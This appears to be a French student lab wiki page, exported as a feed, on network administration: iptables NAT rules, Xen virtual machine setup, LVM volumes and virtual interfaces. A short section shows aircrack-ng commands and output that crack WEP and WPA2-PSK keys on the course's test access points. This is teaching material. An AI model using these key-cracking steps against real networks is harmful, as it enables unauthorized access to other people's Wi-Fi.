*nat&lt;br /&gt;
:PREROUTING ACCEPT [0:0]&lt;br /&gt;
:INPUT ACCEPT [0:0]&lt;br /&gt;
:OUTPUT ACCEPT [0:0]&lt;br /&gt;
:POSTROUTING ACCEPT [0:0]&lt;br /&gt;
...&lt;br /&gt;
COMMIT&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;'''Les chaînes (ultra important)'''&lt;br /&gt;
&lt;br /&gt;
* '''PREROUTING''' : NAT fait ''avant'' que Linux décide où router le paquet  → typiquement '''DNAT''' (port forwarding)&lt;br /&gt;
* '''POSTROUTING''' : NAT fait ''juste avant'' que le paquet sorte sur une interface  → typiquement '''SNAT/MASQUERADE''' (NAT sortant)&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
-A PREROUTING -d 193.48.57.165/32 -p tcp --dport 2201 -j DNAT --to-destination 192.168.3.2:22&lt;br /&gt;
-A PREROUTING -d 193.48.57.165/32 -p tcp --dport 2021 -j DNAT --to-destination 192.168.3.3:22&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ça veut dire :&lt;br /&gt;
&lt;br /&gt;
* Si quelqu’un sur Internet fait :&lt;br /&gt;
** &amp;lt;code&amp;gt;193.48.57.165:2201&amp;lt;/code&amp;gt; → tu rediriges vers &amp;lt;code&amp;gt;192.168.3.2:22&amp;lt;/code&amp;gt; (SSH)&lt;br /&gt;
** &amp;lt;code&amp;gt;193.48.57.165:2021&amp;lt;/code&amp;gt; → tu rediriges vers &amp;lt;code&amp;gt;192.168.3.3:22&amp;lt;/code&amp;gt; (SSH)&lt;br /&gt;
&lt;br /&gt;
Donc tu exposes plusieurs SSH internes via '''un seul serveur public''', en jouant sur les ports.&lt;br /&gt;
&lt;br /&gt;
Note importante : DNAT ne suffit pas toujours tout seul : il faut aussi que le '''forwarding''' soit autorisé (et éventuellement règles &amp;lt;code&amp;gt;filter&amp;lt;/code&amp;gt; si tu as une politique restrictive). Dans ton cas, tu n’as montré que la table &amp;lt;code&amp;gt;nat&amp;lt;/code&amp;gt;.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
-A POSTROUTING -s 192.168.3.0/29 -j MASQUERADE&lt;br /&gt;
-A POSTROUTING -s 10.60.0.0/16 -j MASQUERADE&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Traduction :&lt;br /&gt;
&lt;br /&gt;
* Tout paquet qui '''sort''' et dont la source est dans &amp;lt;code&amp;gt;192.168.3.0/29&amp;lt;/code&amp;gt; verra son IP source remplacée par l’IP publique du mandataire.&lt;br /&gt;
* Pareil pour &amp;lt;code&amp;gt;10.60.0.0/16&amp;lt;/code&amp;gt; (ces adresses seront à rajoutées pour la suite du TP pour l'instant ne les ajoutés pas)&lt;br /&gt;
&lt;br /&gt;
==== Autre amélioration très recommandée : préciser l’interface de sortie ====&lt;br /&gt;
&lt;br /&gt;
Sans &amp;lt;code&amp;gt;-o eth1&amp;lt;/code&amp;gt;, tu peux NATer des flux que tu ne voulais pas NATer si tu as plusieurs sorties. La version “propre” :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
-A POSTROUTING -s 192.168.3.0/27 -o eth1 -j MASQUERADE&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Mais dans notre TP, il n'y pas besoin de ça&lt;br /&gt;
&lt;br /&gt;
==== Explication de PREROUTING et POSTROUTING ====&lt;br /&gt;
&lt;br /&gt;
===== PREROUTING : “avant la décision de routage” =====&lt;br /&gt;
'''Quand ?'''&lt;br /&gt;
&lt;br /&gt;
Dès qu’un paquet '''entre''' sur la machine (depuis une interface réseau), ''avant'' que Linux décide s’il doit :&lt;br /&gt;
&lt;br /&gt;
* le garder pour lui (INPUT),&lt;br /&gt;
* ou le renvoyer vers un autre réseau (FORWARD).&lt;br /&gt;
&lt;br /&gt;
'''À quoi ça sert ?'''&lt;br /&gt;
&lt;br /&gt;
C’est l’endroit parfait pour faire du '''DNAT''' (redirection de destination), parce que tu veux changer la destination '''avant''' que le kernel choisisse où l’envoyer.&lt;br /&gt;
&lt;br /&gt;
'''Exemple concret (port forwarding)'''&lt;br /&gt;
&lt;br /&gt;
Quelqu’un sur Internet contacte :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;193.48.57.165:2201&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ta règle en PREROUTING fait :&lt;br /&gt;
&lt;br /&gt;
* destination devient &amp;lt;code&amp;gt;192.168.3.2:22&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite seulement, Linux dit :&lt;br /&gt;
&lt;br /&gt;
“ok, ça doit partir vers le réseau interne” → il route vers &amp;lt;code&amp;gt;192.168.3.2&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
PREROUTING = “je reçois le colis, je regarde l’étiquette et j’ai encore le droit de la changer avant de choisir le camion.”&lt;br /&gt;
&lt;br /&gt;
===== POSTROUTING : “juste avant de sortir” =====&lt;br /&gt;
'''Quand ?'''&lt;br /&gt;
&lt;br /&gt;
Après que Linux a déjà décidé '''par où''' le paquet sort (quelle interface, quelle route), et juste avant qu’il quitte la machine.&lt;br /&gt;
&lt;br /&gt;
'''À quoi ça sert ?'''&lt;br /&gt;
&lt;br /&gt;
C’est l’endroit parfait pour faire du '''SNAT / MASQUERADE''' (changer l’adresse source), parce que :&lt;br /&gt;
&lt;br /&gt;
* tu sais maintenant exactement sur quelle interface ça sort,&lt;br /&gt;
* et donc quelle IP source externe utiliser.&lt;br /&gt;
&lt;br /&gt;
'''Exemple concret (NAT sortant / masquerade)'''&lt;br /&gt;
&lt;br /&gt;
Une VM interne envoie vers Internet :&lt;br /&gt;
&lt;br /&gt;
* source &amp;lt;code&amp;gt;192.168.3.2&amp;lt;/code&amp;gt; → destination &amp;lt;code&amp;gt;1.2.3.4&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
En POSTROUTING, tu remplaces la source :&lt;br /&gt;
&lt;br /&gt;
* source devient &amp;lt;code&amp;gt;193.48.57.165&amp;lt;/code&amp;gt; (IP publique du mandataire)&lt;br /&gt;
&lt;br /&gt;
Comme ça, Internet répond à &amp;lt;code&amp;gt;193.48.57.165&amp;lt;/code&amp;gt;, et le mandataire retransmet à la VM grâce à conntrack.&lt;br /&gt;
&lt;br /&gt;
POSTROUTING = “le colis est déjà assigné à un camion (interface de sortie), je peux encore modifier l’étiquette avant qu’il parte.”&lt;br /&gt;
&lt;br /&gt;
===== Résumé =====&lt;br /&gt;
&lt;br /&gt;
* '''PREROUTING''' : avant le routage → on change surtout la '''destination''' (DNAT / redirections de ports)&lt;br /&gt;
* '''POSTROUTING''' : après le routage → on change surtout la '''source''' (SNAT / MASQUERADE)&lt;br /&gt;
&lt;br /&gt;
== Cassage de clé WIFI ==&lt;br /&gt;
&lt;br /&gt;
=== WEP ===&lt;br /&gt;
Sur un 1 terminal : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo airodump-ng wlan1 --write crackage_pcasimir/pcasimir --bssid 04:DA:D2:9C:50:50 -c4&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il faut laisser tourner le programme pendant un moment pour capturer un maximum d'IVs (environ 50*10³)&lt;br /&gt;
&lt;br /&gt;
Ce que l'on voit : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
CH  4 ][ Elapsed: 40 mins ][ 2026-02-10 16:07 ][ paused output&lt;br /&gt;
&lt;br /&gt;
BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&lt;br /&gt;
&lt;br /&gt;
04:DA:D2:9C:50:50  -64   0    10771    48468   31   4   54e. WEP  WEP         cracotte01    &lt;br /&gt;
&lt;br /&gt;
BSSID              STATION            PWR    Rate    Lost   Frames  Notes  Probes&lt;br /&gt;
&lt;br /&gt;
04:DA:D2:9C:50:50  40:A5:EF:01:21:80  -73    0 -36e   621    58224   &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
sur 2ème terminal :&lt;br /&gt;
&lt;br /&gt;
Une fois qu'on a 50*10³ IV on fait : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo aircrack-ng -a1 -b 04:DA:D2:9C:50:50 crackage_pcasimir/pcasimir-01.cap -s&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Résultat : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
  KB    depth   byte(vote)&lt;br /&gt;
&lt;br /&gt;
   0    1/  2   B5(55552) 84(53504) 2B(52992) 2F(52480) A0(52480) BA(52224) &lt;br /&gt;
&lt;br /&gt;
   1    0/  5   49(66304) E8(55552) 20(55296) 65(55296) 73(55296) 5F(53760) &lt;br /&gt;
&lt;br /&gt;
   2   41/  2   E1(48640) 0E(48384) 3D(48384) 63(48384) 6C(48384) 9C(48384) &lt;br /&gt;
&lt;br /&gt;
   3    4/  3   B3(53248) 7B(52992) 95(52992) 31(52736) 12(52224) FF(52224) &lt;br /&gt;
&lt;br /&gt;
   4    1/  2   21(55552) 17(52480) 26(52224) B5(52224) 16(51968) C0(51712) &lt;br /&gt;
&lt;br /&gt;
            KEY FOUND! [ FF:FF:FF:FF:FA:BC:02:CB:AE:EE:EE:EE:EE ] &lt;br /&gt;
&lt;br /&gt;
   Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WPA2-PSK ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
pcasimir@zabeth13:~$ sudo airodump-ng wlan1 --write crackage_pcasimir/airodumpWPA --bssid 44:AD:D9:5F:87:00 -c13&lt;br /&gt;
&lt;br /&gt;
CH 13 ][ Elapsed: 1 hour 44 mins ][ 2026-02-10 18:41 ][ fixed channel wlan1: 4 &lt;br /&gt;
&lt;br /&gt;
BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&lt;br /&gt;
&lt;br /&gt;
44:AD:D9:5F:87:00  -58   0    28293      508    0  13   54e. WPA2 CCMP   PSK  kracotte01    &lt;br /&gt;
&lt;br /&gt;
BSSID              STATION            PWR    Rate    Lost   Frames  Notes  Probes&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
pcasimir@zabeth13:~$ sudo aircrack-ng -a2 -b 44:AD:D9:5F:87:00 -w crackage_pcasimir/dico.txt crackage_pcasimir/airodumpWPA-01.cap&lt;br /&gt;
&lt;br /&gt;
Aircrack-ng 1.7 &lt;br /&gt;
&lt;br /&gt;
     [00:55:43] 66515032/100000000 keys tested (19870.44 k/s) &lt;br /&gt;
&lt;br /&gt;
     Time left: 28 minutes, 5 seconds                          66.52%&lt;br /&gt;
&lt;br /&gt;
                          KEY FOUND! [ 66689666 ]&lt;br /&gt;
&lt;br /&gt;
     Master Key     : 3C A8 6A 6B 80 C3 36 12 EC D6 36 89 9F E3 F6 BC &lt;br /&gt;
&lt;br /&gt;
                      D6 B2 24 8A 49 B4 9C 2A A3 6F 3E A0 96 15 8B F5 &lt;br /&gt;
&lt;br /&gt;
     Transient Key  : A0 53 57 7D 4B 67 FB 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
     EAPOL HMAC     : 52 DE 19 6D B0 E3 3B 2C 1A DA D3 F2 66 39 F2 DD&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pcasimir</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E1&amp;diff=12393</id>
		<title>Atelier SysRes SE4 2025/2026 E1</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E1&amp;diff=12393"/>
		<updated>2026-02-25T15:10:58Z</updated>

		<summary type="html">&lt;p&gt;Pcasimir : /* Autre amélioration très recommandée : préciser l’interface de sortie */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== CRÉATION MACHINES VIRTUELLES ==&lt;br /&gt;
Il faut d'abord crée un &amp;quot;bridge&amp;quot; sur capbreton pour relier nos 3 machines virtuelles ensemble. Un &amp;quot;bridge&amp;quot; n'a rien de complexe, c'est un commutateur mais virtuel. C'est comme un commutateur physique avec des ports ethernet pour relier des machines ensemble mais il n'existe pas dans le monde physique seulement sur nos ordinateurs et VM. Pour cela, nous créons notre pont sur capbreton le commutateur/routeur dans la E304. Nous le faisons dans ce chemin : &amp;lt;code&amp;gt;/etc/network/interfaces.d/SE42026_pcasimir_ahoudus&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Veuillez faire en sorte de ne &amp;lt;code&amp;gt;PAS&amp;lt;/code&amp;gt; modifier le fichier le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; car c'est le fichier qui permet de configurer la connectivité de capbreton lui-même.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_Gercourt                                                                                                                                                      &lt;br /&gt;
iface pont_Gercourt inet manual                                                                                                                                         &lt;br /&gt;
        bridge_ports none                                                                                                                                               &lt;br /&gt;
        up ip link set $IFACE up                                                                                                                                        &lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous devons initialiser nos MV de services grâce à l'outil hyperviseur &amp;lt;code&amp;gt;Xen&amp;lt;/code&amp;gt;. &lt;br /&gt;
&lt;br /&gt;
Un '''hyperviseur''', c’est le logiciel qui permet de faire tourner '''plusieurs “ordinateurs virtuels” (VM)''' sur '''un seul ordinateur physique'''.&lt;br /&gt;
&lt;br /&gt;
Au lieu d’avoir '''1 machine = 1 OS''', tu as '''1 machine physique = plusieurs OS''' (Linux, OpenWRT, Windows…) qui tournent en parallèle, chacun dans sa VM. &lt;br /&gt;
&lt;br /&gt;
Un hyperviseur est “entre” le matériel et les VM, et il s’occupe de partager proprement :&lt;br /&gt;
&lt;br /&gt;
* '''CPU''' : qui a le droit d’exécuter quand (ordonnancement)&lt;br /&gt;
* '''RAM''' : qui a droit à quelle mémoire (isolation, allocation)&lt;br /&gt;
* '''Disques''' : chaque VM a “son disque” (souvent un fichier &amp;lt;code&amp;gt;.img&amp;lt;/code&amp;gt;, LVM, etc.)&lt;br /&gt;
* '''Réseau''' : chaque VM a une carte réseau virtuelle, connectée à un '''switch/bridge virtuel'''&lt;br /&gt;
* '''Isolation/Sécurité''' : une VM ne doit pas pouvoir casser les autres.&lt;br /&gt;
&lt;br /&gt;
'''Xen''', c’est un hyperviseur “bare-metal” très utilisé historiquement en serveur/cloud.&lt;br /&gt;
&lt;br /&gt;
Dans Xen, toutes les VM sont des ''domains''.&lt;br /&gt;
&lt;br /&gt;
* '''Dom0 (Domain 0)''' : la VM “chef” (privilégiée)&lt;br /&gt;
** c’est elle qui a les '''drivers matériels'''&lt;br /&gt;
** c’est elle qui '''crée / détruit / configure''' les autres VM&lt;br /&gt;
** elle gère souvent le '''réseau (bridges/VLAN)''' et le '''stockage'''&lt;br /&gt;
* '''DomU''' : les VM “normales” (invitées)&lt;br /&gt;
** elles ont des '''périphériques virtuels'''&lt;br /&gt;
** elles passent souvent par Dom0 pour accéder au hardware&lt;br /&gt;
&lt;br /&gt;
Petit schéma mental :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
         Matériel (CPU/RAM/NIC/Disques)&lt;br /&gt;
                    │&lt;br /&gt;
                   Xen&lt;br /&gt;
                    │&lt;br /&gt;
        ┌───────────┴───────────┐&lt;br /&gt;
        │                       │&lt;br /&gt;
      Dom0                 Dom1, Dom2, Dom3...&lt;br /&gt;
 (admin + drivers)      (VM Linux / OpenWRT / etc.)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Il leur faut plusieurs paramètres pour fonctionner selon nos critères.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.Merteuil --dhcp --bridge=pont_Gercourt --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2048M --force&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;xen-create-image&amp;lt;/code&amp;gt;''' :  Commande permettant de créer une nouvelle machine virtuelle Xen&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--hostname=SE4.Merteuil&amp;lt;/code&amp;gt;''' :  Spécifie le nom d'hôte de la nouvelle MV créée. Ici, le nom d'hôte sera &amp;lt;code&amp;gt;SE4.Atreus&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dhcp&amp;lt;/code&amp;gt;''' :  Indique que la MV obtiendra automatiquement une adresse IP via DHCP. Aucune configuration statique d'adresse IP ne sera nécessaire. Vous devriez quand même configuré votre &amp;lt;code&amp;gt;/etc/network/interface&amp;lt;/code&amp;gt; dans votre VM pour qu'elle ait une adresse IPv4 sur votre commutateur virtuel/bridge.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--bridge=bifrost&amp;lt;/code&amp;gt;''' :  Précise l'utilisation du pont réseau nommé &amp;lt;code&amp;gt;bifrost&amp;lt;/code&amp;gt; pour connecter la machine virtuelle au réseau physique ou virtuel existant. Ceci permet une connexion directe de la VM au réseau.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dir=/usr/local/xen&amp;lt;/code&amp;gt;''' :  Définit le répertoire dans lequel seront stockées les images disque et les fichiers associés de la MV. Ici, l'image sera placée dans le dossier &amp;lt;code&amp;gt;/usr/local/xen&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--size=10GB&amp;lt;/code&amp;gt;''' :  Détermine la taille du disque virtuel pour cette MV. Dans cet exemple, le disque fera &amp;lt;code&amp;gt;10 Go&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dist=daedalus&amp;lt;/code&amp;gt;''' :  Indique la distribution du système d'exploitation à utiliser pour la MV. Ici, la distribution choisie s'appelle &amp;lt;code&amp;gt;daedalus&amp;lt;/code&amp;gt; pour Debian.&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--memory=2048M&amp;lt;/code&amp;gt;''' :  Détermine la quantité de mémoire vive (RAM) allouée à la MV. Dans cet exemple, la MV aura &amp;lt;code&amp;gt;2048 Mo&amp;lt;/code&amp;gt; (soit 2 Go) de RAM.&lt;br /&gt;
&lt;br /&gt;
=== Volumes Logiques ===&lt;br /&gt;
Dans notre infra, on ne met pas tout le système d’une VM sur un seul “disque” géant. On '''sépare certains répertoires''' dans des '''volumes logiques (LVM)''' dédiés, notamment :&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt;''' : dossiers utilisateurs (fichiers perso, configs, projets, clés SSH…)&lt;br /&gt;
* '''&amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;''' : données qui bougent beaucoup (logs, cache, bases de données, spool, etc.)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Cette séparation a plusieurs avantages très concrets :&lt;br /&gt;
&lt;br /&gt;
* '''Meilleure gestion de l’espace disque''' : tu peux dimensionner &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; indépendamment (et agrandir si besoin).&lt;br /&gt;
* '''Moins de risques''' : si &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; explose (logs qui partent en vrille, cache énorme…), ça évite de remplir tout le disque système et de “tuer” la VM.&lt;br /&gt;
* '''Maintenance plus simple''' : sauvegarde/restauration ciblée (ex : sauvegarder &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; sans prendre tout le système).&lt;br /&gt;
* '''Organisation propre''' : chaque VM a ses volumes clairement identifiés.&lt;br /&gt;
&lt;br /&gt;
Pour chaque VM, on crée deux volumes logiques de 10 Go :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -L 10G -n SE4.&amp;lt;NomDeVM&amp;gt;.home virtual&lt;br /&gt;
lvcreate -L 10G -n SE4.&amp;lt;NomDeVM&amp;gt;.var virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;lvcreate&amp;lt;/code&amp;gt; : commande qui '''crée un volume logique'''&lt;br /&gt;
* &amp;lt;code&amp;gt;-L 10G&amp;lt;/code&amp;gt; : taille du volume (ici '''10 Go''')&lt;br /&gt;
* &amp;lt;code&amp;gt;-n &amp;lt;nom&amp;gt;&amp;lt;/code&amp;gt; : nom du volume logique (d’où le &amp;lt;code&amp;gt;SE4.&amp;lt;NomDeVM&amp;gt;.home&amp;lt;/code&amp;gt;)&lt;br /&gt;
* &amp;lt;code&amp;gt;virtual&amp;lt;/code&amp;gt; : le '''Volume Group''' dans lequel on crée le volume&lt;br /&gt;
&lt;br /&gt;
Ces volumes seront ensuite '''attachés à la VM''' comme des disques (ou partitions virtuelles), puis '''formatés''' et '''montés''' dans la VM :&lt;br /&gt;
&lt;br /&gt;
* le volume &amp;lt;code&amp;gt;.home&amp;lt;/code&amp;gt; sera monté sur &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt;&lt;br /&gt;
* le volume &amp;lt;code&amp;gt;.var&amp;lt;/code&amp;gt; sera monté sur &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fichier de configuration Xen ===&lt;br /&gt;
&lt;br /&gt;
==== 0) Éditer le fichier de configuration Xen de la VM (réseau + disques) ====&lt;br /&gt;
Après avoir généré une VM avec &amp;lt;code&amp;gt;xen-create-image&amp;lt;/code&amp;gt;, un '''fichier de configuration''' est créé pour cette VM (souvent un &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
C’est ce fichier qui dit à Xen :&lt;br /&gt;
&lt;br /&gt;
* quels '''disques''' (images, volumes LVM…) la VM utilise&lt;br /&gt;
* combien de RAM/vCPU&lt;br /&gt;
* et surtout quelles '''interfaces réseau virtuelles''' (VIF) elle a, et sur quels '''bridges''' elles sont branchées&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root        = '/dev/xvda2 ro'&lt;br /&gt;
disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.Merteuil/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.Merteuil/swap.img,xvda1,w',&lt;br /&gt;
		          'phy:/dev/virtual/SE4.Merteuil.home,xvda3,w',&lt;br /&gt;
		          'phy:/dev/virtual/SE4.Merteuil.var,xvdb1,w',&lt;br /&gt;
              ]&lt;br /&gt;
              &lt;br /&gt;
#                                                                                                                                                                       &lt;br /&gt;
#  Hostname                                                                                                                                                             &lt;br /&gt;
#                                                                                                                                                                       &lt;br /&gt;
name        = 'SE4.Merteuil'                                                                                                                                            &lt;br /&gt;
                                                                                                                                                                        &lt;br /&gt;
#                                                                                                                                                                       &lt;br /&gt;
#  Networking                                                                                                                                                           &lt;br /&gt;
#                                                                                                                                                                       &lt;br /&gt;
dhcp        = 'dhcp'                                                                                                                                                    &lt;br /&gt;
vif         = [ 'mac=00:16:3E:47:BB:E8,bridge=pont_Gercourt' ,                                                                                                          &lt;br /&gt;
                'mac=00:16:3E:47:BB:E7,bridge=SE4' ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== 1) Les VIF : cartes réseau virtuelles de la VM ====&lt;br /&gt;
Une '''VIF (Virtual Interface)''', c’est tout simplement une '''carte réseau virtuelle''' vue par la VM.&lt;br /&gt;
&lt;br /&gt;
Dans la VM, elle apparaîtra comme une interface réseau (genre &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt;, etc., selon l’OS).&lt;br /&gt;
&lt;br /&gt;
Dans Xen, chaque entrée &amp;lt;code&amp;gt;vif&amp;lt;/code&amp;gt; du fichier &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt; correspond à une carte réseau virtuelle. Une fois la VM démarrée, ces cartes apparaissent dans l’OS invité sous forme d’interfaces &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt;, etc. Le paramètre &amp;lt;code&amp;gt;bridge=...&amp;lt;/code&amp;gt; indique sur quel commutateur virtuel (bridge Xen/Linux) la carte est connectée.&lt;br /&gt;
&lt;br /&gt;
===== Différence avec une machine physique =====&lt;br /&gt;
Sur un PC “réel”, tu es limité :&lt;br /&gt;
&lt;br /&gt;
* par le nombre de ports Ethernet / cartes réseau dispo physiquement&lt;br /&gt;
&lt;br /&gt;
Dans une VM, pas ce souci :&lt;br /&gt;
&lt;br /&gt;
* tu peux ajouter autant de VIF que tu veux '''en théorie'''&lt;br /&gt;
* en pratique : tu restes limité par la perf + la complexité de ton archi réseau (mais c’est déjà énorme)&lt;br /&gt;
&lt;br /&gt;
==== 2) Ce qu’on veut dans le TP : 2 cartes réseau ====&lt;br /&gt;
Dans le cadre du TP, on te demande '''2 VIF''' :&lt;br /&gt;
&lt;br /&gt;
'''VIF 1 : réseau interne de ton groupe (bridge du “switch” virtuel)'''&lt;br /&gt;
&lt;br /&gt;
* branchée sur le '''bridge''' qui relie nos '''3 machines''' (nos VM du groupe)&lt;br /&gt;
* ici : &amp;lt;code&amp;gt;pont_Gercourt&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Objectif : que nos VMs communiquent entre elles comme si elles étaient branchées sur le même switch.&lt;br /&gt;
&lt;br /&gt;
'''VIF 2 : réseau “école / Internet / infra”'''&lt;br /&gt;
&lt;br /&gt;
* branchée sur le bridge qui donne l’accès au '''reste de l’infra''' + Internet&lt;br /&gt;
* ici : &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt; (bridge officiel du TP)&lt;br /&gt;
&lt;br /&gt;
Objectif : accès Internet + accès au reste de l’infra (routeurs, services, etc.)&lt;br /&gt;
&lt;br /&gt;
===== Mode “secours” : &amp;lt;code&amp;gt;bridgeStudents&amp;lt;/code&amp;gt; =====&lt;br /&gt;
Tant que le bridge &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt; n’est pas encore “brassé” correctement (câblage + routeurs Cisco + etc.), tu peux utiliser :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;bridgeStudents&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ça te donne déjà :&lt;br /&gt;
&lt;br /&gt;
* Internet&lt;br /&gt;
* de quoi avancer sur une grosse partie du TP&lt;br /&gt;
&lt;br /&gt;
⚠️ Mais à la fin, pour la note max :&lt;br /&gt;
&lt;br /&gt;
Vous devez faire le '''brassage / branchement réel''' des commutateurs en '''E304 / E306 / E200''', et configurer la partie Cisco reliée au bridge &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
==== 3) Exemple de section réseau dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt; ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Networking&lt;br /&gt;
dhcp = 'dhcp'&lt;br /&gt;
vif  = [&lt;br /&gt;
  'mac=00:16:3E:47:BB:E8,bridge=pont_Gercourt',&lt;br /&gt;
  'mac=00:16:3E:47:BB:E7,bridge=SE4'&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Comment lire ça ? =====&lt;br /&gt;
* &amp;lt;code&amp;gt;vif = [...]&amp;lt;/code&amp;gt; : liste des cartes réseau virtuelles&lt;br /&gt;
* chaque ligne décrit '''une VIF'''&lt;br /&gt;
* &amp;lt;code&amp;gt;mac=...&amp;lt;/code&amp;gt; : la MAC address que la VM utilisera (utile pour DHCP, filtrage, repérage)&lt;br /&gt;
